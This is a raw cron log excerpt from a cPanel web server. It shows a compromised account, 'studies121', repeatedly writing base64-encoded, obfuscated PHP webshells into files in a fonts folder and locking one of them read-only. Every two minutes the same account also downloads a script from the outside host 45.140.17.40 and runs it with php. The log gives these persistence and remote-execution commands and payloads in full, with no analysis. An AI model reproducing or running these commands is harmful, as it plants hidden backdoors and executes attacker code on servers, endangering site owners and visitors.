Sep  1 19:54:01 ip-184-168-122-23 CROND[16071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:54:01 ip-184-168-122-23 CROND[16073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:54:01 ip-184-168-122-23 CROND[16076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:55:01 ip-184-168-122-23 CROND[16183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:55:01 ip-184-168-122-23 CROND[16185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:55:01 ip-184-168-122-23 CROND[16189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:55:01 ip-184-168-122-23 CROND[16186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:55:01 ip-184-168-122-23 CROND[16188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:55:01 ip-184-168-122-23 CROND[16187]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:56:01 ip-184-168-122-23 CROND[16453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:56:01 ip-184-168-122-23 CROND[16455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:56:01 ip-184-168-122-23 CROND[16458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:56:01 ip-184-168-122-23 CROND[16457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:56:01 ip-184-168-122-23 CROND[16456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:57:01 ip-184-168-122-23 CROND[16541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:57:01 ip-184-168-122-23 CROND[16543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:57:01 ip-184-168-122-23 CROND[16544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:57:01 ip-184-168-122-23 CROND[16545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:58:01 ip-184-168-122-23 CROND[16706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:58:01 ip-184-168-122-23 CROND[16707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:58:01 ip-184-168-122-23 CROND[16710]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:58:01 ip-184-168-122-23 CROND[16712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:58:01 ip-184-168-122-23 CROND[16713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:59:01 ip-184-168-122-23 CROND[16807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:59:01 ip-184-168-122-23 CROND[16810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:59:01 ip-184-168-122-23 CROND[16811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:59:01 ip-184-168-122-23 CROND[16809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:00:01 ip-184-168-122-23 CROND[16900]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 20:00:01 ip-184-168-122-23 CROND[16902]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 20:00:01 ip-184-168-122-23 CROND[16904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:00:01 ip-184-168-122-23 CROND[16908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:00:01 ip-184-168-122-23 CROND[16910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:00:01 ip-184-168-122-23 CROND[16913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:00:01 ip-184-168-122-23 CROND[16909]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:00:01 ip-184-168-122-23 CROND[16917]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:00:01 ip-184-168-122-23 CROND[16918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:01:01 ip-184-168-122-23 CROND[17131]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 20:01:01 ip-184-168-122-23 CROND[17132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:01:01 ip-184-168-122-23 CROND[17135]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 20:01:01 ip-184-168-122-23 CROND[17136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:01:01 ip-184-168-122-23 CROND[17139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17131]: starting 0anacron
Sep  1 20:01:01 ip-184-168-122-23 CROND[17137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17154]: finished 0anacron
Sep  1 20:02:01 ip-184-168-122-23 CROND[17334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:02:01 ip-184-168-122-23 CROND[17336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:02:01 ip-184-168-122-23 CROND[17337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:02:01 ip-184-168-122-23 CROND[17338]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:02:01 ip-184-168-122-23 CROND[17339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:03:01 ip-184-168-122-23 CROND[17425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:03:01 ip-184-168-122-23 CROND[17426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:03:01 ip-184-168-122-23 CROND[17427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:03:01 ip-184-168-122-23 CROND[17431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:04:01 ip-184-168-122-23 CROND[17514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:04:01 ip-184-168-122-23 CROND[17516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:04:01 ip-184-168-122-23 CROND[17518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:04:01 ip-184-168-122-23 CROND[17517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:04:01 ip-184-168-122-23 CROND[17519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:05:01 ip-184-168-122-23 CROND[17619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:05:02 ip-184-168-122-23 CROND[17621]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:05:02 ip-184-168-122-23 CROND[17623]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 20:05:02 ip-184-168-122-23 CROND[17625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:05:02 ip-184-168-122-23 CROND[17622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:05:02 ip-184-168-122-23 CROND[17624]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:05:02 ip-184-168-122-23 CROND[17626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:06:01 ip-184-168-122-23 CROND[17805]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:06:01 ip-184-168-122-23 CROND[17808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
